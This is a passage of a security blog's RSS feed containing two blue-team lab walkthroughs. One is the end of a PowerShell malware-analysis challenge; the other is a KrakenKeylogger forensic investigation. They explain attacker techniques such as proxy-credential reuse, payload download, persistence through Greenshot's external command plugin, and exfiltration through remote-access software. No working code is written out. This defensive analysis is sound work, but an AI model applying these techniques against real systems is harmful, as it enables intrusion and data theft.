id=&#34;question-5-what-is-the-user-agent-string-that-is-being-spoofed-in-the-malicious-script&#34;&gt;&lt;strong&gt;Question 5: What is the user agent string that is being spoofed in the malicious script?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Looking at the next line, we see the &lt;code&gt;$u&lt;/code&gt; variable set as this string:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mozilla&lt;/a&gt;, this looks like a pretty standard user agent string so we probably our answer already. For context, user agent strings are used by servers to identify requesting client details like the operating system, web browser version, and the web rendering engine.&lt;/p&gt;&#xA;&lt;p&gt;While not required for this challenge, a cool thing you can do is try a user agent lookup tool to help provide some context for the spoofed user agent string. If we run the string from the challenge, we can get some additional intelligence and see what client the script is spoofing!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;241px&#34; data-flex-grow=&#34;100&#34; height=&#34;796&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/39d8c2333eb02f6bea6fbf5984f07fd5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-6-what-line-of-code-is-used-to-set-the-proxy-credentials-for-authentication-in-thescript&#34;&gt;&lt;strong&gt;Question 6: What line of code is used to set the proxy credentials for authentication in the script?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;Okay, looking at the decoded script we see a reference to &lt;code&gt;Proxy.Cedentials&lt;/code&gt; which puts us in the right place for the question.&lt;/p&gt;&#xA;&lt;p&gt;The full code seems to be suggesting that the script sets the variable to use the &lt;code&gt;System.Net.CredentialCache.DefaultNetworkCredentials&lt;/code&gt; property of the credential cache. After doing some research, it seems that when using PowerShell to connect out to external web (HTTP/HTTPS) resources, it does not use the system&amp;rsquo;s specified proxy server settings by default and they must be specified — &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultnetworkcredentials?view=net-8.0#remarks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; states that:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The credentials returned by &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultnetworkcredentials?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;DefaultNetworkCredentials&lt;/a&gt; represents the authentication credentials for the current security context in which the application is running. For a client-side application, these are usually the Windows credentials (user name, password, and domain) of the user running the application.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a lot of information! Essentially, it appears that the command is simply using the current security context (user name, password, and domain) to set proxy authentication in the script to make the web request to ensure that it gets out.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1478px&#34; data-flex-grow=&#34;616&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/dcde6bee52d19cf864e33ad65cdb1d8f_MD5.png&#34; width=&#34;764&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-7-when-the-malicious-script-is-executed-what-is-the-url-that-the-script-contacts-to-download-the-malicious-payload&#34;&gt;&lt;strong&gt;Question 7: When the malicious script is executed, what is the URL that the script contacts to download the malicious payload?&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;We made it, last one! This one is easy to spot. Let&amp;rsquo;s look at the &lt;code&gt;$DownloadString&lt;/code&gt; — this is pointing our &lt;code&gt;$WC (WebClient)&lt;/code&gt; instance to download the content of the specified URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;  title=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;WebClient.DownloadString Method (System.Net)&lt;/strong&gt;&#xA;_Downloads the requested resource as a String. The resource to download may be specified as either String containing the&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/api/system.net.webclient.downloadstring?view=net-8.0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the URL, we could apply additional intelligence, perform further analysis, and apply mitigations for the indicator but for the purposes of this challenge this is as far as we need to go. Let&amp;rsquo;s submit the flag and wrap this up!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1650px&#34; data-flex-grow=&#34;687&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-script-challenge-walkthrough/cb226b6513dd3fb74a20b9924eb08179_MD5.png&#34; width=&#34;791&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h4 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h4&gt;&lt;p&gt;Whew! We made it through the challenge and we also have a better working understanding of this script: basically when the victim executes the script, PowerShell runs the code in a hidden, non-interactive window where it downloads the malicious payload from an external URL. Good work!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for checking out this walkthrough and thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;LetsDefend.io&lt;/a&gt; for the fun lab. I hope whoever stumbled upon this post found it helpful and that the additional analysis and context added some value for you. Stay curious!&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders —  KrakenKeylogger Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/</link>
            <pubDate>Mon, 05 Feb 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/84c5a549ac431d994cfc9fcc8295a270_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders —  KrakenKeylogger Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefendersorg--krakenkeylogger-blue-team-lab-walkthrough&#34;&gt;CyberDefenders.org — KrakenKeylogger Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-investigation-with-db-browser--eric-zimmermans-tools&#34;&gt;Endpoint Investigation with DB Browser &amp;amp; Eric Zimmerman&amp;rsquo;s tools&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;402px&#34; data-flex-grow=&#34;167&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/84c5a549ac431d994cfc9fcc8295a270_MD5.png&#34; width=&#34;394&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/krakenkeylogger/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/krakenkeylogger/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;&lt;strong&gt;Introduction:&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;Hello! I&amp;rsquo;ve recently stumbled on the practice labs over on cyberdefenders.org. This challenge room was one of the first that I tried on the site and while stumbling through the questions, I thought it would be a great opportunity to do a write-up to solidify the concepts for me and share this cool challenge with anyone who stumbles across this post. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/119/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/119/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An employee at a large company was assigned a task with a two-day deadline. Realizing that he could not complete the task in that timeframe, he sought help from someone else. After one day, he received a notification from that person who informed him that he had managed to finish the assignment and sent it to the employee as a test. However, the person also sent a message to the employee stating that if he wanted the completed assignment, he would have to pay $160.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The helper&amp;rsquo;s demand for payment revealed that he was actually a threat actor. The company&amp;rsquo;s digital forensics team was called in to investigate and identify the attacker, determine the extent of the attack, and assess potential data breaches. The team must analyze the employee&amp;rsquo;s computer and communication logs to prevent similar attacks in the future.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 1: What is the the web messaging app the employee used to talk to the attacker?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 2: What is the password for the protected ZIP file sent by the attacker to the employee?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This question mentions a web-based messaging app and the scenario lists a handful of tools to solve the challenge including DB Browser for SQLite. Normally, you can view the browser history database with this tool, so I turned my attention to examining the browser databases to see what I could find.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, these artifacts are missing from the challenge files for Google Chrome so we have to pivot, but there is one clue in the scenario description — &lt;strong&gt;notification&lt;/strong&gt;. This got me thinking about the Windows notification center toasts.&lt;/p&gt;&#xA;&lt;p&gt;I did a quick search for &lt;strong&gt;Notifications&lt;/strong&gt; in Windows and was surprised to actually stumble on some results in the directory: \Users\OMEN\AppData\Local\Microsoft\Windows&#xA;otifications&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/cf1ffdc64b2888473e7fa3324146d657_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside of this directory is a database file, &lt;em&gt;wpndatabase.db,&lt;/em&gt; which after a little Google magic I figured out is a database for Windows Push Notifications that stores Windows notification data. I loaded up this database file with the DB Browser to see if I could find anything interesting&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;659px&#34; data-flex-grow=&#34;274&#34; height=&#34;291&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/32cca3007431d1545c175e7fb86577a8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Interesting, indeed! Within the notification table, it looked like I may have found the answer for &lt;strong&gt;Question 1&lt;/strong&gt; and &lt;strong&gt;Question 2&lt;/strong&gt; here. Two for the price of one!&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 3: What domain did the attacker use to download the second stage of the malware?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The discovery in the previous questions gave me a pretty good starting point. I needed to locate the file the attacker sent to the victim and analyze it for anything suspicious. When conducting an investigation, even for lab scenarios, I typically make it a habit to do a quick manual browsing of the folder structure (AppData, Downloads, etc.) to familiarize myself with the environment. After seeing the filename for the ZIP file in the wpndatabase, I recalled seeing a similar file artifact in my earlier reconnaissance.&lt;/p&gt;&#xA;&lt;p&gt;I took a look at the contents within the victim&amp;rsquo;s Downloads folder and noticed something suspicious — a shortcut or lnk file, called &lt;em&gt;templet&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/ee41883280ed2f6f547a37c913a1bfbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;I referred to another of the scenario&amp;rsquo;s suggested tools, LECmd. This utility can be used to parse lnk files for further analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;474px&#34; data-flex-grow=&#34;197&#34; height=&#34;405&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/7aa552267576a1e54fdf8de0559f2f37_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Within the argument, there appeared to be an obfuscated URL and I spent way too much time in CyberChef before I could finally deobfuscate it to solve &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;208&#34; height=&#34;383&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/1b88ee3882dc5eac905f5a2949e3f505_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you spend some time researching this malware on Google, however, there is an excellent analysis write-up that could help in scripting this process very quickly&amp;hellip;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 4: What is the name of the command that the attacker injected using one of the installed LOLAPPS on the machine to achieve persistence?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;AND&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 5: What is the complete path of the malicious file that the attacker used to achieve persistence?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;LOLAPPS? I was familiar with LOLBins but this was new to me. I took to Google to understand if this was the same thing or something else. Fortunately, I stumbled across a &lt;a class=&#34;link&#34; href=&#34;https://lolapps-project.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;website&lt;/a&gt; explaining LOLAPPS, including some examples of how to leverage a few of these apps for persistence.&lt;/p&gt;&#xA;&lt;p&gt;With that information, I remembered seeing evidence of one of these applications, Greenshot, on the victim&amp;rsquo;s system during my earlier browsing of the challenge files.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;169&#34; height=&#34;317&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/2448561e6fbffa1b40e60d78b875f25f_MD5.png&#34; width=&#34;536&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the linked resources available for Greenshot on the LOLAPPS project site, I was able to find evidence of persistence from abuse of the External Command Plugin within the application&amp;rsquo;s configuration file. This was very interesting because I noticed a familiar filename referenced in the command being used for persistence and used this path to answer &lt;strong&gt;Question 5&lt;/strong&gt;, too!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;735px&#34; data-flex-grow=&#34;306&#34; height=&#34;261&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/8e7504b801a9e54d3ac49c686e20bea1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 6: What is the name of the application the attacker utilized for data exfiltration?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;During my earlier analysis, there was another application that stuck out to me. A common post-compromise technique for the bad guys to leverage is installing legitimate remote access software for use as an alternative command and control or exfiltration channel (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1219/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1219&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Knowing this, I suspected that I already had the answer from checking out the AppData of the challenge files and from browsing the Microsoft Edge browser history database.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;499px&#34; data-flex-grow=&#34;208&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/d6fa4e00dab7df1a6c4386bf07dde704_MD5.png&#34; width=&#34;539&#34;&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Question 7: What is the IP address of the attacker?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Now that I knew what application was used for exfiltration, I suspected that I needed to locate the application logs to help reveal the attacker&amp;rsquo;s IP address. Based on my previous experience with a different remote access software, I felt pretty confident that a quick search of the vendor&amp;rsquo;s site would tell me where to look.&lt;/p&gt;&#xA;&lt;p&gt;Sure enough, this application maintains a trace file that can be located in %appdata%\REDACTED\ad.trace&lt;/p&gt;&#xA;&lt;p&gt;For this last question, I utilized the last of the scenario suggested tools, Timeline Explorer. I had not used this tool before and found that it really helped speed up the log analysis. I tried a couple of searches within the trace file looking for external access. The right one was &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;logged in&amp;quot;&#xA;which gave me the final answer for this lab!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/83d9454e7872e6b225a92a517f353a8b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Thank you to cyberdefenders.org for the challenge! This was a really fun lab scenario that provided a unique set of challenges during the investigation. This challenge also provided a great introduction to some of &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Eric Zimmerman&amp;rsquo;s tools&lt;/a&gt; that I had not used before and allowed me to better understand and analyze the Windows Push Notification database, LOLAPPS, and application logs.&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
